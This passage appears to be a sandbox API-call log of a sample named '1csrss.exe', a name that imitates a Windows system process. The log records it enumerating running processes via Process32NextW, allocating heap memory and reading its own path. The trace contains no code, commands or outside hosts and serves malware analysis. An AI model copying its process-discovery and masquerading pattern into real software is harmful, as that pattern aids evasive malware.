lstrlenW (lpString="svchost.exe") returned 11 [0099.964] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.964] lstrlenW (lpString="dwm.exe") returned 7 [0099.964] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.965] lstrlenW (lpString="svchost.exe") returned 11 [0099.965] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.966] lstrlenW (lpString="svchost.exe") returned 11 [0099.966] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.967] lstrlenW (lpString="svchost.exe") returned 11 [0099.969] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.970] lstrlenW (lpString="svchost.exe") returned 11 [0099.970] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.971] lstrlenW (lpString="svchost.exe") returned 11 [0099.971] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.971] lstrlenW (lpString="svchost.exe") returned 11 [0099.972] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.986] lstrlenW (lpString="svchost.exe") returned 11 [0099.986] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.987] lstrlenW (lpString="svchost.exe") returned 11 [0099.987] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.988] lstrlenW (lpString="svchost.exe") returned 11 [0099.988] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.989] lstrlenW (lpString="spoolsv.exe") returned 11 [0099.989] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.989] lstrlenW (lpString="svchost.exe") returned 11 [0099.989] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.990] lstrlenW (lpString="svchost.exe") returned 11 [0099.990] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.992] lstrlenW (lpString="audiodg.exe") returned 11 [0099.992] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0099.992] lstrlenW (lpString="sihost.exe") returned 10 [0099.992] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.993] lstrlenW (lpString="svchost.exe") returned 11 [0099.993] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.994] lstrlenW (lpString="taskhostw.exe") returned 13 [0099.994] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0099.995] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0099.995] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0099.996] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0099.996] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.997] lstrlenW (lpString="explorer.exe") returned 12 [0099.997] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0099.997] lstrlenW (lpString="Memory Compression") returned 18 [0099.997] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0099.998] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0099.998] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0099.999] lstrlenW (lpString="SearchUI.exe") returned 12 [0099.999] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.000] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0100.000] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.000] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.000] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.001] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.001] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.002] lstrlenW (lpString="UsoClient.exe") returned 13 [0100.002] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0100.003] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0100.003] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.004] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.004] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0100.005] lstrlenW (lpString="msoia.exe") returned 9 [0100.005] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.005] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0100.006] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0100.006] lstrlenW (lpString="msoia.exe") returned 9 [0100.006] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.007] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0100.007] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0100.008] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0100.008] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0100.009] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0100.009] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0100.010] lstrlenW (lpString="arc obviously.exe") returned 17 [0100.010] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0100.011] lstrlenW (lpString="scholars.exe") returned 12 [0100.011] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0100.011] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0100.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0100.012] lstrlenW (lpString="organizing.exe") returned 14 [0100.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0100.013] lstrlenW (lpString="campus.exe") returned 10 [0100.013] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0100.014] lstrlenW (lpString="mug.exe") returned 7 [0100.014] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0100.015] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0100.015] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0100.016] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0100.016] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0100.017] lstrlenW (lpString="powers mixture.exe") returned 18 [0100.017] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0100.017] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0100.017] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0100.018] lstrlenW (lpString="bachelor.exe") returned 12 [0100.018] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0100.019] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0100.019] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0100.020] lstrlenW (lpString="indication wage paying.exe") returned 26 [0100.020] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0100.021] lstrlenW (lpString="thee pub emission.exe") returned 21 [0100.021] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.035] lstrlenW (lpString="dllhost.exe") returned 11 [0100.036] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0100.036] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0100.036] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0100.037] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0100.037] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0100.038] lstrlenW (lpString="upgrading.exe") returned 13 [0100.038] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0100.039] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0100.039] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0100.040] lstrlenW (lpString="russell.exe") returned 11 [0100.040] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.041] lstrlenW (lpString="conhost.exe") returned 11 [0100.041] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.042] lstrlenW (lpString="conhost.exe") returned 11 [0100.042] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.043] lstrlenW (lpString="svchost.exe") returned 11 [0100.043] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0100.044] lstrlenW (lpString="1csrss.exe") returned 10 [0100.044] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0100.045] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0100.045] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.046] lstrlenW (lpString="conhost.exe") returned 11 [0100.046] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0100.047] CloseHandle (hObject=0x240) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c9fa0 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c9fe8 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5150 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5170 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c61c8 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5408 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5110 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5130 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eec28 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb10 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c52d0 | out: hHeap=0x5b0000) returned 1 [0100.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb38 | out: hHeap=0x5b0000) returned 1 [0100.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5f7700 [0100.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x607708 [0100.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5450 [0100.048] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5450, Size=0x20) returned 0x5eec28 [0100.048] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eec28, Size=0x40) returned 0x5c9fa0 [0100.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f52e8 [0100.048] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f52e8, Size=0x20) returned 0x5ee958 [0100.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5390 [0100.048] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5390, Size=0x20) returned 0x5ee930 [0100.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51c8 [0100.049] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51c8, Size=0x20) returned 0x5eec78 [0100.049] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eec78, Size=0x40) returned 0x5c9fe8 [0100.049] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x607708, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\1csrss.exe")) returned 0x22 [0100.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x617710 [0100.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x627718 [0100.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5198 [0100.050] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5198, Size=0x20) returned 0x5ee7f0 [0100.050] 